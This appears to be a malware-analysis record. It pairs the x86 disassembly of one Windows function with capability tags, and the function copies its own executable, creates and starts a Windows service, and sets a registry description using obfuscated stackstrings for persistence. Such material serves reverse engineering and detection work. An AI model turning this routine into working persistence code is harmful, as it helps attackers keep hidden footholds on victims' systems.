Function at 0x406cc0
Capabilities:
Contain obfuscated stackstrings
Copy file
Create service
Modify service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x408280
push 0x407902
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x35c
push ebx
push esi
push edi
mov byte [ebp - 0x328], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x327]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0x328]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x334], 0x25
mov byte [ebp - 0x333], 0x73
mov byte [ebp - 0x332], 0
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x334]
push edx
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea ecx, [ebp - 0x220]
push ecx
mov ecx, dword [0x40ab54]
call fcn.004044d0
push eax
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x220]
push eax
mov ecx, dword [0x40ab54]
call fcn.00404400
test eax, eax
je 0x406dce
lea ecx, [ebp - 0x220]
push ecx
call fcn.00405ea0
add esp, 4
push esi
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x220]
push ecx
call fcn.00405230
add esp, 4
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x328]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x328]
push eax
mov ecx, dword [0x40ab54]
call fcn.00404550
cmp byte [0x40a560], 1
je 0x407088
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x224], esi
xor edi, edi
mov dword [ebp - 0x330], edi
mov dword [ebp - 0x32c], esi
mov dword [ebp - 4], esi
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
mov dword [ebp - 0x32c], ebx
cmp ebx, esi
je 0x40707c
push esi
push esi
push esi
push esi
push esi
lea ecx, [ebp - 0x328]
push ecx
push esi
push 2
push 0x110
push 0xf01ff
mov edx, dword [ebp + 0x10]
push edx
mov esi, dword [ebp + 0xc]
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, eax
mov dword [ebp - 0x330], edi
push ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x338], 0x40a27c
lea eax, [ebp - 0x338]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov ecx, dword [ebp - 0x360]
push ecx
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
test edi, edi
jne 0x406eb7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x406eb7
push 0xf01ff
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
mov dword [ebp - 0x330], edi
test edi, edi
je 0x40707c
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x40707c
mov al, 0x53
mov byte [ebp - 0x35c], al
mov byte [ebp - 0x35b], 0x59
mov byte [ebp - 0x35a], al
mov byte [ebp - 0x359], 0x54
mov byte [ebp - 0x358], 0x45
mov byte [ebp - 0x357], 0x4d
mov cl, 0x5c
mov byte [ebp - 0x356], cl
mov dl, 0x43
mov byte [ebp - 0x355], dl
mov byte [ebp - 0x354], 0x75
mov byte [ebp - 0x353], 0x72
mov byte [ebp - 0x352], 0x72
mov bl, 0x65
mov byte [ebp - 0x351], bl
mov byte [ebp - 0x350], 0x6e
mov byte [ebp - 0x34f], 0x74
mov byte [ebp - 0x34e], dl
mov byte [ebp - 0x34d], 0x6f
mov byte [ebp - 0x34c], 0x6e
mov byte [ebp - 0x34b], 0x74
mov byte [ebp - 0x34a], 0x72
mov byte [ebp - 0x349], 0x6f
mov byte [ebp - 0x348], 0x6c
mov byte [ebp - 0x347], al
mov byte [ebp - 0x346], bl
mov byte [ebp - 0x345], 0x74
mov byte [ebp - 0x344], cl
mov byte [ebp - 0x343], al
mov byte [ebp - 0x342], bl
mov byte [ebp - 0x341], 0x72
mov byte [ebp - 0x340], 0x76
mov byte [ebp - 0x33f], 0x69
mov byte [ebp - 0x33e], 0x63
mov byte [ebp - 0x33d], bl
mov byte [ebp - 0x33c], 0x73
mov byte [ebp - 0x33b], cl
mov byte [ebp - 0x33a], 0
lea edx, [ebp - 0x35c]
push edx
lea eax, [ebp - 0x11c]
push eax
mov ecx, dword [0x40ab54]
call fcn.00404550
push esi
lea ecx, [ebp - 0x11c]
push ecx
mov ecx, dword [0x40ab54]
call fcn.00404490
lea edx, [ebp - 0x224]
push edx
lea eax, [ebp - 0x11c]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov byte [ebp - 0x36c], 0x44
mov byte [ebp - 0x36b], bl
mov byte [ebp - 0x36a], 0x73
mov byte [ebp - 0x369], 0x63
mov byte [ebp - 0x368], 0x72
mov byte [ebp - 0x367], 0x69
mov byte [ebp - 0x366], 0x70
mov byte [ebp - 0x365], 0x74
mov byte [ebp - 0x364], 0x69
mov byte [ebp - 0x363], 0x6f
mov byte [ebp - 0x362], 0x6e
mov byte [ebp - 0x361], 0
mov ebx, dword [ebp + 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push ebx
push 1
push 0
lea ecx, [ebp - 0x36c]
push ecx
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, dword [ebp - 0x32c]
mov dword [ebp - 4], 0xffffffff
call fcn.004070a5
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret